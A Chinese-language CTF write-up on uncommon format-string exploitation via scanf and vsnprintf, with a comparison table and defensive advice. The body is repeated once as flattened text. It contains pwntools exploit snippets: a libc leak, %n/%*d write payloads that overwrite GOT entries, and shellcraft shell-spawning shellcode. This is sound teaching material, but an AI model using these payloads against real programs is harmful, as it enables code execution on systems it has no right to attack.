非常见类型的格式化字符串
字数 1722 2025-08-22 12:23:12

非常见类型的格式化字符串漏洞利用技术详解

1. scanf格式化字符串漏洞利用

1.1 漏洞背景

在传统的格式化字符串漏洞利用中,我们通常关注的是printf系列函数。然而,scanf函数同样存在格式化字符串漏洞,只是相关研究和利用资料较少。

1.2 题目分析

题目特点:

  • 使用read读入的数据作为scanf的第一个参数(格式化字符串)
  • rsi寄存器也指向输入缓冲区(但实际利用中可能不需要)
  • 程序开启了FULL RELRO保护,因此需要攻击libc的GOT表

1.3 利用原理

scanf函数中的%n格式化符号与printf类似,但作用不同:

  • scanf%n成功读入的字符串数量写入对应的指针所指向的地址
  • 可以类比printf%n,但写入的值是输入的长度而非输出的长度

1.4 利用步骤

  1. 泄漏libc基址

    p.recvuntil("Welcome to xyctf, this is a gift: ")
    libcbase = int(p.recv(14), 16) - libc.sym['printf']
    
  2. 构造payload

    libcgot = libcbase + 0x1EC040
    payload = b'%*s%8$lln'  # %*s用于控制输入长度,避免栈溢出
    payload = payload.ljust(0x10, b'a') + p64(libcgot)
    
  3. 触发漏洞

    p.send(payload)
    payload = b'a' * backdoor
    p.sendline(payload)
    

1.5 关键点说明

  • %*s:用于控制输入长度,避免栈溢出
  • %8$lln:将成功读入的字符数写入第8个参数指向的地址
  • 需要将目标地址(libc GOT表地址)放在格式化字符串后的特定位置

2. vsnprintf格式化字符串漏洞利用

2.1 漏洞背景

vsnprintfprintf家族函数之一,它将格式化输出写入缓冲区而非直接输出到标准输出。这使得传统的泄漏技术(如泄漏栈地址或堆地址)变得困难。

2.2 题目特点

  • 程序通过mprotect使堆内存可执行
  • display_current_time函数中存在格式化字符串漏洞
  • GOT表可写
  • 格式化字符串后有一个puts函数调用

2.3 利用思路

  1. 劫持puts的GOT表项,将其指向堆上的shellcode
  2. 利用%*d格式化字符串技巧控制写入的值

2.4 利用步骤

  1. 初始化阶段

    p.recvuntil(b"plz input mprotect code")
    p.sendline(b"a")  # 触发mprotect使堆可执行
    
  2. 第一次格式化字符串攻击

    payload1 = b"%4210688x%33$ln"  # 将特定值写入目标地址
    p.sendline(payload1)
    
  3. 第二次格式化字符串攻击

    payload2 = b"%*d%63$ln"  # 关键技巧
    p.sendline(payload2)
    
  4. 写入shellcode

    shellcode = asm(shellcraft.sh())
    p.sendline(shellcode)  # 将shellcode写入堆
    

2.5 关键技术点

  1. %*d格式化字符串技巧

    • %*d会从参数中读取一个值作为宽度参数
    • 可以控制这个宽度值来精确控制写入的值
    • 例如:printf("%*d%63$ln", name, pwd),其中name的值被用作宽度
  2. 堆地址控制

    • 由于堆可执行,可以将控制流劫持到堆上的shellcode
    • 需要精确计算堆地址与写入值的关系
  3. GOT表劫持

    • 劫持puts的GOT表项,使其指向堆上的shellcode
    • 当后续调用puts时,实际执行的是shellcode

3. 总结与对比

特性 scanf格式化字符串 vsnprintf格式化字符串
主要函数 scanf vsnprintf
关键格式化符号 %n %n, %*d
写入值来源 成功读入的字符数 格式化输出长度或参数值
典型利用目标 libc GOT表 程序GOT表
特殊技巧 %*s控制输入长度 %*d控制宽度参数
内存保护 通常需要绕过RELRO 可能需要可执行内存区域

4. 防御建议

  1. 输入验证

    • 对所有用户提供的格式化字符串进行严格验证
    • 禁止用户控制格式化字符串
  2. 安全编译选项

    • 启用FULL RELRO保护
    • 启用栈保护机制
  3. 代码审计

    • 检查所有格式化字符串函数的使用
    • 确保没有用户可控的格式化字符串
  4. 权限控制

    • 限制内存可执行权限
    • 使用地址空间随机化(ASLR)

5. 扩展思考

  1. 其他非常见格式化函数

    • syslog系列函数中的格式化字符串漏洞
    • err/warn系列函数中的格式化字符串
  2. 组合利用技术

    • 格式化字符串与堆漏洞的结合利用
    • 格式化字符串与信息泄漏的结合
  3. 新型防护技术

    • 格式化字符串防护编译器扩展
    • 运行时格式化字符串检测机制

通过深入理解这些非常见类型的格式化字符串漏洞,安全研究人员可以更全面地评估软件安全性,开发人员可以编写更健壮的代码,防御此类安全威胁。

非常见类型的格式化字符串漏洞利用技术详解 1. scanf格式化字符串漏洞利用 1.1 漏洞背景 在传统的格式化字符串漏洞利用中,我们通常关注的是 printf 系列函数。然而, scanf 函数同样存在格式化字符串漏洞,只是相关研究和利用资料较少。 1.2 题目分析 题目特点: 使用 read 读入的数据作为 scanf 的第一个参数(格式化字符串) rsi 寄存器也指向输入缓冲区(但实际利用中可能不需要) 程序开启了FULL RELRO保护,因此需要攻击libc的GOT表 1.3 利用原理 scanf 函数中的 %n 格式化符号与 printf 类似,但作用不同: scanf 的 %n 将 成功读入的字符串数量 写入对应的指针所指向的地址 可以类比 printf 的 %n ,但写入的值是输入的长度而非输出的长度 1.4 利用步骤 泄漏libc基址 : 构造payload : 触发漏洞 : 1.5 关键点说明 %*s :用于控制输入长度,避免栈溢出 %8$lln :将成功读入的字符数写入第8个参数指向的地址 需要将目标地址(libc GOT表地址)放在格式化字符串后的特定位置 2. vsnprintf格式化字符串漏洞利用 2.1 漏洞背景 vsnprintf 是 printf 家族函数之一,它将格式化输出写入缓冲区而非直接输出到标准输出。这使得传统的泄漏技术(如泄漏栈地址或堆地址)变得困难。 2.2 题目特点 程序通过 mprotect 使堆内存可执行 display_current_time 函数中存在格式化字符串漏洞 GOT表可写 格式化字符串后有一个 puts 函数调用 2.3 利用思路 劫持 puts 的GOT表项,将其指向堆上的shellcode 利用 %*d 格式化字符串技巧控制写入的值 2.4 利用步骤 初始化阶段 : 第一次格式化字符串攻击 : 第二次格式化字符串攻击 : 写入shellcode : 2.5 关键技术点 %*d 格式化字符串技巧 : %*d 会从参数中读取一个值作为宽度参数 可以控制这个宽度值来精确控制写入的值 例如: printf("%*d%63$ln", name, pwd) ,其中 name 的值被用作宽度 堆地址控制 : 由于堆可执行,可以将控制流劫持到堆上的shellcode 需要精确计算堆地址与写入值的关系 GOT表劫持 : 劫持 puts 的GOT表项,使其指向堆上的shellcode 当后续调用 puts 时,实际执行的是shellcode 3. 总结与对比 | 特性 | scanf格式化字符串 | vsnprintf格式化字符串 | |------|------------------|----------------------| | 主要函数 | scanf | vsnprintf | | 关键格式化符号 | %n | %n, % d | | 写入值来源 | 成功读入的字符数 | 格式化输出长度或参数值 | | 典型利用目标 | libc GOT表 | 程序GOT表 | | 特殊技巧 | % s控制输入长度 | %* d控制宽度参数 | | 内存保护 | 通常需要绕过RELRO | 可能需要可执行内存区域 | 4. 防御建议 输入验证 : 对所有用户提供的格式化字符串进行严格验证 禁止用户控制格式化字符串 安全编译选项 : 启用FULL RELRO保护 启用栈保护机制 代码审计 : 检查所有格式化字符串函数的使用 确保没有用户可控的格式化字符串 权限控制 : 限制内存可执行权限 使用地址空间随机化(ASLR) 5. 扩展思考 其他非常见格式化函数 : syslog 系列函数中的格式化字符串漏洞 err / warn 系列函数中的格式化字符串 组合利用技术 : 格式化字符串与堆漏洞的结合利用 格式化字符串与信息泄漏的结合 新型防护技术 : 格式化字符串防护编译器扩展 运行时格式化字符串检测机制 通过深入理解这些非常见类型的格式化字符串漏洞,安全研究人员可以更全面地评估软件安全性,开发人员可以编写更健壮的代码,防御此类安全威胁。